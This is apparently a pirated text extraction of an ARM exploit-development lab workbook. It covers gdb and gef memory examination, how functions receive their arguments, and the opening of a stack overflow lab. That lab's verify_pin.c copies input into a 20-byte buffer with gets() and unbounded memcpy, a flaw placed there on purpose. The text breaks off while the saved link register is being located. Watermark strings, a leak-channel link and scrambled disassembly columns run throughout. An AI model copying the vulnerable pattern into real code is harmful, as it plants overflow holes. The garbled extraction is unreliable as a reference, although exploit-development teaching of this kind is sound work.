before and after this instruction executes.

 Note

In 32-bit systems, addresses are 4 bytes. Each word is 4 bytes. So if we want to see r7+4, we could look at the first 2 words starting

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
at r7.

gef➤ x/2wx $r7


0xbefff498: 0x00010168 0x00074010

This shows us the value stored at r7 (0x00010168) and r7+4 (0x00074010). Now if r0 holds 1 and we execute the
instruction str r0, [r7, #4] , we should see r7+4 hold the value 0x00000001.

gef➤ si
live
...
gef➤ x/2wx $r7
0xbefff498: 0x00010168 0x00000001

© Hungry Hackers, LLC 19


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Try it.

Step through some more instructions and get comfortable with examining memory using the 'x' command.

09b91222e5d2d3d668cf8e52ec5d35ba
The 'x' command can also be used to view memory as instructions by using the 'i' format specifier.

gef➤ x/5i $pc


=> 0x10488 <main+8>: str r1, [r7, #0]
0x1048a <main+10>: movs r3, #10
0x1048c <main+12>: str r3, [r7, #12]
0x1048e
0x10490 micede1865@wii999_com
<main+14>:
<main+16>:
movs
str r3,
r3, #0
[r7, #8]

 Note

Examining memory as instructions is helpful for viewing shellcode stored in memory.

24356915
We can also use the 'x' command to view strings in memory. Here we view memory as 16 bytes and then view the same
memory as a string.

The address for this string may be different for you, but can be found by looking at the r2 register in the gef output above.

(view as bytes)

gef➤ x/16bx 0xbefff74c


0xbefff74c: 0x53 0x48 0x45
Paul Erwin
0x4c 0x4c 0x3d 0x2f 0x62
0xbefff754: 0x69 0x6e 0x2f 0x62 0x61 0x73 0x68 0x00

(view as a string)

gef➤ x/1s 0xbefff74c


0xbefff74c: "SHELL=/bin/bash"

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
 Try it. (optional)

On the Resources/Cheatsheets page in this workbook, there is a table with some common gdb commands. If you are unfamiliar
with gdb, look through this table and try some of the commands you don't yet know.

Summary live
In this lab we looked at debugging a simple loop program. We used the gef plugin for gdb to display helpful information
(registers, instructions) as we set breakpoints and stepped through some ARM assembly instructions. There are lots of
ARM instructions, and you don't have to memorize them all, but it is helpful to know the common ones.

20 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


We also examined memory in gdb using the 'x' command. The syntax for this command may take some getting used to,
but it is extremely useful for exploit development.

09b91222e5d2d3d668cf8e52ec5d35ba

micede1865@wii999_com

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 21


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 3: Branching

09b91222e5d2d3d668cf8e52ec5d35ba
Background

When looking for bugs or building out an exploit, it is helpful to be able to read the assembly and understand what is going
on. There are times when you may need to follow a code path through multiple functions. This lab demonstrates how
arguments get passed to other functions.

Objectives micede1865@wii999_com
• Debugging sample ARM programs in gdb

• Observing the ldr and str instructions

• Passing arguments to a function

• Verify arguments coming into a function


24356915
Lab Preparation

 Note

This lab will be done in the mako vm. Paul Erwin


Accessing the mako vm

• Login to the hammerhead virtual machine using the credentials below.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• User: nemo

• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/mako folder.

live
• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo

22 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~$ cd qemu/mako

nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh


[sudo] password for nemo:

09b91222e5d2d3d668cf8e52ec5d35ba
• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK
micede1865@wii999_com
] Finished Availability of block devices.

Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
24356915
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.

• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$
Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Review the adder source code

Let's start off by taking a look at the adder.c source code.

nemo@mako:~$ cd ~/labs/adder
nemo@mako:~/labs/adder$ cat src/adder.c

#include <stdio.h>

int adder(int a, int b, int c, int d) {


live
unsigned int result = a+b+c+d;
return result;
}

© Hungry Hackers, LLC 23


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


int main(int argc, char *argv[]) {

unsigned int a=3, b=5, c=7, d=0;

09b91222e5d2d3d668cf8e52ec5d35ba
unsigned short result = 0;

if (argv[1]) {
sscanf(argv[1], "%d", &d);
}

result = adder(a,b,c,d);

printf("Result: %d\n", result);


}
micede1865@wii999_com
This program takes 4 variables (a,b,c,d) and passes them to a function called adder . The adder function adds these 4
values and returns the result.

By default, the 'd' variable is set to 0. However, if a number is supplied as a command line argument, it will be copied into
the d variable and passed along to the adder function.
24356915
Passing arguments to a function

In class we discussed that if there are 4 or fewer arguments, that they get passed into a function in the registers r0-r3. We
want to verify this and see what it looks like in gdb. Start by opening up adder in the debugger and disassemble the main
function.

nemo@mako:~/labs/adder$ gdb adder


Paul Erwin
...

(gdb) disas main


Dump of assembler code for function main:
0x000104ac <+0>: push {r7, lr}

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x000104ae <+2>: sub sp, #32
0x000104b0 <+4>: add r7, sp, #0
...

Early in the main function, we see a copy of the sp register value stored in r7. This is done via a add r7, sp, #0
instruction. When working with THUMB instructions, the r7 register is referred to as the frame pointer and is often used
with an offset to access local variables.

 Note
live
If we add 0 to sp and store the result in r7, it is similar to "moving" a copy of sp into r7.

24 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Now, throughout this function, r7 will serve as a base address, representing our stack pointer and we will see offsets
added to r7 to store and read from the stack.

09b91222e5d2d3d668cf8e52ec5d35ba
0x000104c6
0x000104c8
0x000104ca
<+26>:
<+28>:
<+30>:
movs
str r3,
movs
r3, #3
[r7, #16]
r3, #5
0x000104cc <+32>: str r3, [r7, #20]
0x000104ce <+34>: movs r3, #7
0x000104d0 <+36>: str r3, [r7, #24]
0x000104d2 <+38>: movs r3, #0
0x000104d4 <+40>: str r3, [r7, #12]

micede1865@wii999_com
The snippet above shows some code from the main function where some static values (#3, #5, #7, and #0) are getting
stored onto the stack by adding an offset to r7. This is done in two steps for each value that gets stored.

• First, each value is moved into r3

• Next, the str (store) instruction stores them in a memory location at r7 + (offsets 16, 20, 24, and 12).

24356915
If we boil down the assembly instructions above, they simply do the following. Remember that r7 holds a copy of the
stack pointer (sp).

• store 3 at r7 + 16

• store 5 at r7 + 20

• store 7 at r7 + 24

• store 0 at r7 + 12
Paul Erwin
0x000104f8 <+76>: ldr r0, [r7, #16]
0x000104fa <+78>: ldr r1, [r7, #20]
0x000104fc <+80>: ldr r2, [r7, #24]
0x000104fe <+82>: ldr r3, [r7, #12]
0x00010500 <+84>: bl 0x10480 <adder>

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
If you scroll further down in main, you will see the output shown above. At address 0x10500, we see a bl 0x10480
<adder> (branch link to adder) instruction. Just before this instruction, we see 4 arguments being stored in r0-r3. This is
taking the values that we saw stored on the stack previously (3,5,7,0) and storing them into registers r0-r3. Then the adder
function is called as follows.

adder(r0=3,r1=5,r2=7,r3=0)

live
Let's set a breakpoint in the debugger and verify this. Break on the instruction that calls adder.

(gdb) b * 0x10500
Breakpoint 1 at 0x10500

© Hungry Hackers, LLC 25


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Run the program with no arguments.

(gdb) run
Starting program: /home/nemo/labs/adder/adder

09b91222e5d2d3d668cf8e52ec5d35ba
Breakpoint 1, 0x00010500 in main ()
(gdb)

Once we hit the breakpoint, run the info reg command to display the registers.

(gdb) info reg


r0
r1
r2
micede1865@wii999_com
0x3
0x5
0x7
3
5
7
r3 0x0 0
r4 0xbefff4f8 3204445432
r5 0x0 0
r6 0x0 0
r7 0xbefff4b8 3204445368
r8 0x0 0
r9
r10
r11
0x0
0x7e000
0x0
0
24356915
516096
0
r12 0xbefff560 3204445536
sp 0xbefff4b8 0xbefff4b8
lr 0x106d9 67289
pc 0x10500 0x10500 <main+84>
cpsr 0x600e0030 1611530288
fpscr 0x0
Paul Erwin
0

The arguments are in registers r0-r3 as expected.

Since we are still in the main function, we should be able to see the local variables a,b,c,d as well.

(gdb) x/1wx $sp+12

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0xbefff4c4:
(gdb) x/1wx
0xbefff4d0:
0x00000000
$sp+24
0x00000007
(gdb) x/1wx $sp+20
0xbefff4cc: 0x00000005
(gdb) x/1wx $sp+16
0xbefff4c8: 0x00000003

live
The x/1wx $sp+12 command tells gdb to examine (x) 1 word (w) in hexadecimal (x) format starting at the stack pointer
($sp) register + 12. We continue to observe the other offsets where we saw the static values being stored previously.

26 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

Looking at the registers above confirms that r7 and sp hold the same value. We could have also observed $r7+offset to see the

09b91222e5d2d3d668cf8e52ec5d35ba
same values.

Passing more than 4 arguments to a function

There is a second source code file in the ~/labs/adder/src folder.

micede1865@wii999_com
nemo@mako:~/labs/adder$ ls src
adder.c adder_lots.c

The adder_lots program is similar to the adder program, but it passes 9 arguments to the adder function instead of 4.
The diff tool in linux can be used to compare the two .c files and show the differences in the source code.

nemo@mako:~/labs/adder$ diff src/adder.c src/adder_lots.c

... 24356915
< result = adder(a,b,c,d);
> result = adder(a,b,c,d,e,f,g,h,i);

In gdb, let's examine the arguments for the call to the adder function in the adder_lots program. Open adder_lots in gdb
and disassemble the main function.

 Note
Paul Erwin
Addresses will be different than those previously seen in the adder program.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
nemo@mako:~/labs/adder$ gdb ./adder_lots
...

gef➤ disas main


...

0x00010520 <+96>: ldr r3, [r7, #16]


0x00010522 <+98>: str r3, [sp, #16]
0x00010524 <+100>: ldr r3, [r7, #48] ; 0x30
0x00010526
0x00010528
0x0001052a
<+102>:
<+104>:
<+106>:
str
ldr
str
r3,
r3,
r3,
[sp,
[r7,
[sp,
#12]
#44]
#8]
live
; 0x2c

0x0001052c <+108>: ldr r3, [r7, #40] ; 0x28


0x0001052e <+110>: str r3, [sp, #4]
0x00010530 <+112>: ldr r3, [r7, #36] ; 0x24
0x00010532 <+114>: str r3, [sp, #0]
0x00010534 <+116>: ldr r3, [r7, #32]

© Hungry Hackers, LLC 27


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x00010536 <+118>: ldr r2, [r7, #28]
0x00010538 <+120>: ldr r1, [r7, #24]
0x0001053a <+122>: ldr r0, [r7, #20]
0x0001053c <+124>: bl 0x10480 <adder>

09b91222e5d2d3d668cf8e52ec5d35ba
Skipping down in main, we come to the assembly code in the snippet above that is setting up the call to the adder
function. Let's break this down into two parts.

Part 1:

0x00010520 <+96>: ldr r3, [r7, #16]


0x00010522
0x00010524
0x00010526
micede1865@wii999_com
<+98>:
<+100>:
<+102>:
str
ldr
str
r3,
r3,
r3,
[sp,
[r7,
[sp,
#16]
#48]
#12]
; 0x30

0x00010528 <+104>: ldr r3, [r7, #44] ; 0x2c


0x0001052a <+106>: str r3, [sp, #8]
0x0001052c <+108>: ldr r3, [r7, #40] ; 0x28
0x0001052e <+110>: str r3, [sp, #4]
0x00010530 <+112>: ldr r3, [r7, #36] ; 0x24
0x00010532 <+114>: str r3, [sp, #0]

24356915
In the first part, we see r7 being used again as a base address. Values are pulled from an offset of r7 and stored in r3.
They are then copied into an offset of sp.

The r3 register is continually reused for loading the value from r7+ and then storing the values it just retrieved to sp+.

Values are stored at:

• sp+0 Paul Erwin


• sp+4

• sp+8

• sp+12

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• sp+16

This sequence of instructions is setting up the 5 th-9 th argumemts to be passed to the adder function on the stack.

Next, let's see how arguments 1-4 get passed in r0-r3 by taking a look at the second part of these instructions that occur
just before the adder function is called.

Part 2:

0x00010534 <+116>: ldr r3, [r7, #32]


live
0x00010536 <+118>: ldr r2, [r7, #28]
0x00010538 <+120>: ldr r1, [r7, #24]
0x0001053a <+122>: ldr r0, [r7, #20]
0x0001053c <+124>: bl 0x10480 <adder>

28 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


As we saw before in the adder function, registers r0-r3 are loaded with the first 4 parameters to be passed into the adder
function.

Finally, the adder function is called. Nine arguments are passed to this function, 4 in registers r0-r3 and 5 additional
09b91222e5d2d3d668cf8e52ec5d35ba
arguments are passed on the stack.

Summary

In this lab we observed how arguments are passed to a function in ARM. If there are 4 or less arguments, they are passed
in registers r0-r3. If there are more than 4, the first 4 get passed in r0-r3, and any additional parameters are passed on the
micede1865@wii999_com
stack. It is also worth noting that many functions you come across do not take any arguments.

24356915

Paul Erwin

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK

live

© Hungry Hackers, LLC 29


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Lab 4: Stack Overflows

09b91222e5d2d3d668cf8e52ec5d35ba
Background

Buffer overflows are a classic form of memory corruption. Attackers can gain control of entire systems by leveraging
these types of vulnerabilities. In this lab we will write a buffer overflow exploit that allows us to overwrite a saved return
address (Link Register) and gain control of execution.

Objectives micede1865@wii999_com
• Observing memory corruption in a debugger

• Locating the stored link register on the stack and watching it get overwritten

• Gaining control of execution and redirecting code flow

Lab Preparation
24356915
 Note

This lab will be done in the mako vm.

Accessing the mako vm


Paul Erwin
• Login to the hammerhead virtual machine using the credentials below.

• User: nemo

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
• Password: nemo

• Next, to get a command prompt, open up the Terminator application from the toolbar on the left. It is a small icon
with 4 squares.

• While in the terminator window console, navigate to the ~/qemu/mako folder.

• Use the command sudo start_mako.sh to start the mako virtual machine.

• When prompted, use the password: nemo


live
nemo@hammerhead:~$ cd qemu/mako

30 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


nemo@hammerhead:~/qemu/mako$ sudo ./start_mako.sh
[sudo] password for nemo:

• There will be a lot of activity on the screen after issuing this command. You should see what looks like a normal linux

09b91222e5d2d3d668cf8e52ec5d35ba
startup ending with a login prompt.

...
[ OK ] Started System Logging Service.
[ OK ] Finished Discard unused bl…n filesystems from /etc/fstab.
[ OK ] Finished Availability of block devices.

micede1865@wii999_com
Ubuntu 20.04.2 LTS mako ttyAMA0

mako login:

• The best way to connect to the mako vm is through ssh. Open a new terminal session tab by right clicking in the
Terminator window and click Open Tab or you can use the shortcut keys: ctrl + shift + t . You should be able to
switch between tabs by clicking the names at the top of the Terminator window.

• Next, ssh to the mako vm.


24356915
• Use the credentials nemo/nemo to login via ssh.

nemo@hammerhead:~/qemu/mako$ ssh mako


nemo@192.168.2.10's password:
Last login: Mon Mar 8 14:55:30 2021
nemo@mako:~$

Paul Erwin
If you get to this prompt you have successfully logged into the ARM (emulated) virtual machine. You are now ready to
start the lab.

The verify_pin program

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The verify_pin program takes input either as a command line argument or if no input is given, it will prompt the user to
enter a pin. In either case, the input is compared to the constant "8675309". If the input matches this string, there will be a
message stating that the door has been unlocked.

The source code can be found in the ~/labs/verify_pin/src folder.

nemo@mako:~$ cd labs/verify_pin/src
nemo@mako:~/labs/verify_pin/src$ cat verify_pin.c

#include <stdio.h>
live
#include <stdbool.h>
#include <string.h>
#include <stdlib.h>

#define KEY "8675309"

© Hungry Hackers, LLC 31


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


bool verify_pin(char *pin) {

char pin_buffer[20];

09b91222e5d2d3d668cf8e52ec5d35ba
if (!pin) {
printf("\nPlease enter enter a pin: ");
gets(pin_buffer);
}
else {
memcpy(pin_buffer, pin, strlen(pin));
pin_buffer[strlen(pin)]='\x00';
}

micede1865@wii999_com
printf("\nYou entered: %s\n", pin_buffer);

if (strcmp(pin_buffer, KEY) == 0)
return false;
else
return true;
}

int main(int argc, char *argv[]) { 24356915


bool is_locked = true;

is_locked = verify_pin(argv[1]);

if(is_locked) {

}
else {
Paul Erwin
printf("The door is locked. Try again\n\n");

printf("Door unlocked!!!\n\n");
exit(0);
}
}

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
Debugging verify_pin

Change to the /home/nemo/labs/verify_pin folder and open the verify_pin binary in gdb.

live

32 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


 Note

Using gef in this lab is a matter of preference. If you are familiar with gdb and don't want to use gef, you can disable it by

09b91222e5d2d3d668cf8e52ec5d35ba
commenting out the the gef entry in ~/.gdbinit file with a "#".

To disable gef, use nano to edit the ~/.gdbinit file.

nemo@mako:~$ nano ~/.gdbinit

While editing the file with nano, insert a '#' at the beginning of the line and then hit ctrl-x to exit nano. When prompted to save, hit 'y'.
You can then view your changes with the cat command.

micede1865@wii999_com
nemo@mako:~/labs/simple_loop$ cat ~/.gdbinit
#source ~/.gef-54e93efd89ec59e5d178fbbeda1fed890098d18d.py

nemo@mako:~$ cd ~labs/verify_pin

nemo@mako:~/labs/verify_pin$ gdb ./verify_pin


GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
24356915
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "arm-linux-gnueabihf".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>. Paul Erwin
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".


Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
87 commands loaded for GDB 9.2 using Python engine 3.8
[*] 5 commands could not be loaded, run `gef missing` to know why.
Reading symbols from ./verify_pin...
(No debugging symbols found in ./verify_pin)
gef➤

Disassemble the main function.

gef➤ disas main


Dump of assembler code for function main:
0x0001050c <+0>: push {r7, lr}
live
0x0001050e <+2>: sub sp, #16
0x00010510 <+4>: add r7, sp, #0
0x00010512 <+6>: str r0, [r7, #4]
0x00010514 <+8>: str r1, [r7, #0]
0x00010516 <+10>: movs r3, #1

© Hungry Hackers, LLC 33


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0x00010518 <+12>: strb r3, [r7, #15]
0x0001051a <+14>: ldr r3, [r7, #0]
0x0001051c <+16>: adds r3, #4
0x0001051e <+18>: ldr r3, [r3, #0]

09b91222e5d2d3d668cf8e52ec5d35ba
0x00010520 <+20>:
0x00010522 <+22>:
0x00010526 <+26>:
mov r0, r3
bl 0x10480 <verify_pin>
mov r3, r0
0x00010528 <+28>: strb r3, [r7, #15]
0x0001052a <+30>: ldrb r3, [r7, #15]
0x0001052c <+32>: cmp r3, #0
0x0001052e <+34>: beq.n 0x1053c <main+48>
0x00010530 <+36>: ldr r3, [pc, #36] ; (0x10558 <main+76>)
0x00010532 <+38>: add r3, pc

micede1865@wii999_com
0x00010534 <+40>:
0x00010536 <+42>:
0x0001053a <+46>:
mov r0, r3
bl 0x1982c <puts>
b.n 0x1054c <main+64>
0x0001053c <+48>: ldr r3, [pc, #28] ; (0x1055c <main+80>)
0x0001053e <+50>: add r3, pc
0x00010540 <+52>: mov r0, r3
0x00010542 <+54>: bl 0x1982c <puts>
0x00010546 <+58>: movs r0, #0
0x00010548 <+60>:
0x0001054c <+64>:
0x0001054e <+66>:
movs r3, #0
mov r0, r3
24356915
bl 0x147b8 <exit>

0x00010550 <+68>: adds r7, #16


0x00010552 <+70>: mov sp, r7
0x00010554 <+72>: pop {r7, pc}
0x00010556 <+74>: nop
0x00010558 <+76>: andeq r12, r3, r10, rrx
0x0001055c <+80>:
End of assembler dump.
andeq
Paul Erwin
r12, r3, lr, ror r0

Notice the bl (branch with link) to the verify_pin function and take note of the address of the instruction that follows that
branch link instruction. In this snippet, the address is 0x10526. The address may vary on your system, but you should see
the same pattern.

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
0x00010522 <+22>:
0x00010526 <+26>:
0x00010528 <+28>:
bl 0x10480 <verify_pin>
mov r3, r0
strb r3, [r7, #15]

When the bl instruction executes, the address following this instruction will be stored in the link register (lr).

 Note

live
Notice that strb r3, [r7, #15] instruction is 2 bytes past the mov r3, r0 instruction. That tells us that this instruction is
THUMB (2-byte) vs ARM (4-byte).

Since this instruction is THUMB, we will return to 0x10526+1, so actually the value 0x10527 gets stored in the lr register.

34 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


Now, let's look at the assembly in the verify_pin function.

gef➤ disas verify_pin


Dump of assembler code for function verify_pin:

09b91222e5d2d3d668cf8e52ec5d35ba
0x00010480 <+0>: push {r7, lr}
0x00010482 <+2>: sub sp, #32
0x00010484 <+4>: add r7, sp, #0
...

• Looking at the first instruction of verify_pin, we see that the r7 and lr registers get pushed onto the stack.

• Remember, that the stack grows down. The next instruction subtracts 32 bytes from the sp register and stores it back

micede1865@wii999_com
in sp, shifting the sp register down in memory and providing an additional 32 bytes of space in the stack frame.

• The third instruction in the verify_pin function adds zero to sp and stores the result in r7. This is essentially copying
the value of sp and storing it in r7.

Setting a breakpoint

24356915
If we were to set a breakpoint on the 3 rd instruction in the verify_pin function at the address 0x10484 (again, addresses
may vary on your system) and run the program, we should be able to view the stored r7 value and more importantly the
stored lr value by observing the sp plus 32 bytes. Let's try this.

While still in gdb, we begin by setting a breakpoint at address 0x10484. We can use a shortened version of the break
command by just typing b . The * tells the debugger that we want to set the breakpoint on an address, not on a symbol
name.

gef➤ b *0x00010484
Paul Erwin
Breakpoint 1 at 0x10484

Once our breakpoint is set, we start the program with the run command. Here we provide a command line parameter of
"AAAAAAAA". We will focus more on this parameter when we observe the overflow, but first let's see if we can find the lr

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
value stored on the stack.

gef➤ run "AAAAAAAA"


Starting program: /home/nemo/labs/verify_pin/verify_pin "AAAAAAAA"

Breakpoint 1, 0x00010484 in verify_pin ()

live
The gef output shows us a lot of information. Here's the output in it's entirety.

[ Legend: Modified register | Code | Heap | Stack | String ]


─────────────────────────────────────────────────────────────────────────── registers ────
$r0 : 0xbefff742 → "AAAAAAAA"
$r1 : 0xbefff5e4 → 0xbefff71c → "/home/nemo/labs/verify_pin/verify_pin"
$r2 : 0xbefff5f0 → 0xbefff74b → "SHELL=/bin/bash"
$r3 : 0xbefff742 → "AAAAAAAA"

© Hungry Hackers, LLC 35


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


$r4 : 0xbefff4b8 → 0xa035dca2
$r5 : 0x0
$r6 : 0x0
$r7 : 0xbefff488 → 0xbefff5e4 → 0xbefff71c → "/home/nemo/labs/verify_pin/verify_pin"

09b91222e5d2d3d668cf8e52ec5d35ba
$r8 : 0x0
$r9 : 0x0
$r10 : 0x00074000 → 0x00000000
$r11 : 0x0
$r12 : 0xbefff520 → 0x00000000
$sp : 0xbefff460 → 0x00000000
$lr : 0x00010527 → <main+27> mov r3, r0
$pc : 0x00010484 → <verify_pin+4> add r7, sp, #0
$cpsr: [NEGATIVE zero carry overflow interrupt fast THUMB]

micede1865@wii999_com
──────────────────────────────────────────────────────────────────────────── stack ────
0xbefff460│+0x0000: 0x00000000 ← $sp
0xbefff464│+0x0004: 0x00074000 → 0x00000000
0xbefff468│+0x0008: 0x00010a81 → <__libc_csu_init+1> stmdb sp!, {r3, r4, r5, r6, r7, r8, r9,
lr}
0xbefff46c│+0x000c: 0x00010af9 → <__libc_csu_fini+1> push {r3, r4, r5, lr}
0xbefff470│+0x0010: 0x00075d80 → 0x00000000
0xbefff474│+0x0014: 0x00000000

24356915
0xbefff478│+0x0018: 0x00010459 → <frame_dummy+1> push {r3, lr}
0xbefff47c│+0x001c: 0x00010adf → <__libc_csu_init+95> cmp r9, r4
────────────────────────────────────────────────────────────────── code:arm:THUMB ────
0x1047f <frame_dummy+39> nop
0x10481 <verify_pin+1> push {r7, lr}
0x10483 <verify_pin+3> sub sp, #32
→ 0x10485 <verify_pin+5> add r7, sp, #0
0x10487 <verify_pin+7> str r0, [r7, #4]
0x10489 <verify_pin+9> ldr
0x1048b <verify_pin+11> cmp Paul Erwin
r3, [r7, #4]
r3, #0
0x1048d <verify_pin+13> bne.n 0x104a4 <verify_pin+36>
0x1048f <verify_pin+15> ldr r3, [pc, #112] ; (0x10500 <verify_pin+128>)
─────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "verify_pin", stopped 0x10484 in verify_pin (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x10484 → verify_pin()
[#1] 0x10526 → main()

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
────────────────────────────────────────────────────────────────────────────────────────
gef➤

Let's look at some of the relevant registers from the gef output above.

$r0 : 0xbefff742 → "AAAAAAAA"


$r7 : 0xbefff488 → 0xbefff5e4 → 0xbefff71c → "/home/nemo/labs/verify_pin/verify_pin"
$sp
$lr
$pc
:
:
:
0xbefff460
0x00010527
0x00010484



0x00000000
<main+27> mov r3, r0
<verify_pin+4> add r7, sp, #0
live
• r0 holds a pointer to the input for this function. This makes sense based on how function arguments are passed.

• r7 is a pointer to the binary's path. It does not yet hold a copy of sp. However, after the next instruction executes, the
r7 register should equal sp.

36 © Hungry Hackers, LLC


https://t.me/learningnets
Technet24
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


• sp points to the current "top" of the stack.

• lr is our link register and it should hold the address of the instruction in main that follows the call to the verify_pin
function. As mentioned previously, it will be the address plus 1, because it is returning to a THUMB instruction.

09b91222e5d2d3d668cf8e52ec5d35ba
• As expected the pc (or program count) register holds the address of our current instruction.

If we look at the instructions in the gef output, we can see the arrow pointing to the current instruction. This corresponds
to the pc register.

0x10481 <verify_pin+1> push {r7, lr}


0x10483 <verify_pin+3> sub sp, #32

micede1865@wii999_com
0x10485 <verify_pin+5> add r7, sp, #0

Locating our saved lr on the stack

We see that r7 and lr were recently pushed onto the stack and 32 was subtracted from the sp register. Therefore, if we add
32 bytes to the stack pointer register, we should see a copy of the r7 and lr values stored on the stack.

24356915
So let's have a look at the stack output at 0xbefff460. The gef output at our breakpoint shows us some stack memory
starting at the sp register, but it does not show the saved r7 and lr values.

───────────────────────────────────────────────────────────────────────────────────────────── stack
────
0xbefff460│+0x0000: 0x00000000 ← $sp

Paul Erwin
0xbefff464│+0x0004: 0x00074000 → 0x00000000
0xbefff468│+0x0008: 0x00010a81 → <__libc_csu_init+1> stmdb sp!, {r3, r4, r5, r6, r7, r8, r9,
lr}
0xbefff46c│+0x000c: 0x00010af9 → <__libc_csu_fini+1> push {r3, r4, r5, lr}
0xbefff470│+0x0010: 0x00075d80 → 0x00000000
0xbefff474│+0x0014: 0x00000000
0xbefff478│+0x0018: 0x00010459 → <frame_dummy+1> push {r3, lr}
0xbefff47c│+0x001c: 0x00010adf → <__libc_csu_init+95> cmp r9, r4

ohNrhAfzA3YUEB7zYQeMv7asRrrC6mmK
The gef output only shows up to the sp+0x1c. This is not enough distance from the stack pointer to view our stored r7 and
lr values. To view more of the stack, we will need to issue a different command.

gef➤ x/10wx $sp

The 'x' command was covered in a previous lab, but let's recap. This command tells gdb we want to examine memory,

live
indicated by the x. The / slash is followed by our format. We want to examine 10 words, 4 bytes each (w) in hexadecimal
(x) format, starting at the address held by the sp register ($sp). The $ in front of sp lets gdb know that we are referring to
a predefined register.

gef➤ x/10wx $sp


0xbefff460: 0x00000000 0x00074000 0x00010a81 0x00010af9

© Hungry Hackers, LLC 37


https://t.me/learningnets
||||||||||||||||||||
||||||||||||||||||||

© SANS Institute 2021


0xbefff470: 0x00075d80 0x00000000 0x00010459 0x00010adf
0xbefff480: 0xbefff488 0x00010527

The values in the left column, followed by : are addresses, starting with the sp address 0xbefff460. In the right columns,

09b91222e5d2d3d668cf8e52ec5d35ba
we have 10 words of 4 bytes each. Since we output 10 of these, we see 40 bytes total (10 x 4) in little endian format.

We can think of this another way:

sp = 0x0xbefff460

+0 0x00000000

micede1865@wii999_com
+4 0x00074000
+8 0x00010a81
+0xc 0x00010af9
+0x10 0x00075d80
+0x14 0x00000000
+0x18 0x00010459
+0x1c 0x00010adf
+0x20 0xbefff488 (same as +32 decimal)
+0x24 0x00010527

24356915
By looking at the stack in the breakdown above, we can confirm that at +32 bytes (0x20), we have our stored r7 and lr
